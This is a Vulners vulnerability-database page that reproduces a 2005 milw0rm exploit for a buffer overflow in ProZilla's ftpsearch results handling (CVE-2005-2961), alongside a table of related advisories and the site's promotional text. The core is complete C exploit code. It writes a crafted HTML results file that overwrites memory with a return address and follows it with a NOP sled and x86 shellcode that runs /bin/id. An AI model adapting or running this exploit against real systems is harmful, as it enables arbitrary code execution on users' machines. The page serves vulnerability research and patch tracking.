Prozilla 1.3.7.4 - 'ftpsearch' Results Handling Buffer Overflow
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| ProZilla < 1.3.7.4 Location Header Format String | 24 Feb 200500:00 | – | nessus | |
| Debian DSA-834-1 : prozilla - buffer overflow | 5 Oct 200500:00 | – | nessus | |
| CAN-2005-2961 | 23 Feb 202417:54 | – | cve | |
| CVE-2005-2961 | 5 Oct 200504:00 | – | cve | |
| CVE-2005-2961 | 5 Oct 200504:00 | – | cvelist | |
| [SECURITY] [DSA 834-1] New prozilla packages fix arbitrary code execution | 1 Oct 200506:54 | – | debian | |
| [SECURITY] [DSA 834-1] New prozilla packages fix arbitrary code execution | 1 Oct 200506:54 | – | debian | |
| EUVD-2005-2961 | 7 Oct 202500:30 | – | euvd | |
| CVE-2005-2961 | 5 Oct 200519:02 | – | nvd | |
| Debian: Security Advisory (DSA-834-1) | 17 Jan 200800:00 | – | openvas |
10
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define OVERFLOW (1<<10)+32
#define SLEDSIZ (1<<10)
#define RETADDR 0x806977a+SLEDSIZ/2
#define OUTPUT "AdvResults.asp"
/*
* prozilla bug, found while auditing for gentoo bug #70090
* [email protected]
*/
/* execve() /bin/id */
unsigned char shellcode[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7e"
"\x02\xad\x8e\x83\xeb\xfc\xe2\xf4\x14\x09\xf5\x17\x2c\x64\xc5\xa3"
"\x1d\x8b\x4a\xe6\x51\x71\xc5\x8e\x16\x2d\xcf\xe7\x10\x8b\x4e\xdc"
"\x96\x0a\xad\x8e\x7e\x2d\xcf\xe7\x10\x2d\xc4\xea\x7e\x55\xfe\x07"
"\x9f\xcf\x2d\x8e";
int main(int argc, char **argv)
{
unsigned char *buf;
void *ret = (void *) RETADDR;
FILE *exploit;
int i;
exploit = fopen(OUTPUT, "w");
fprintf(exploit, "<PRE><A HREF=>");
buf = malloc(OVERFLOW);
for (i = 0; buf + i < buf + OVERFLOW; i += sizeof(void *))
memcpy(buf + i, &ret, sizeof(void *));
fwrite(buf, OVERFLOW, 1, exploit);
fprintf(exploit, "</A><A HREF=></A><A HREF=></A></PRE>");
buf = realloc(buf, SLEDSIZ + sizeof(shellcode));
memset(buf, 0x90, SLEDSIZ);
memcpy(buf + SLEDSIZ, shellcode, sizeof(shellcode));
fwrite(buf, SLEDSIZ + sizeof(shellcode), 1, exploit);
free(buf);
fprintf(stderr, "[*] %s created.\n", OUTPUT);
return 0;
}
// milw0rm.com [2005-10-02]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Jun 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.08616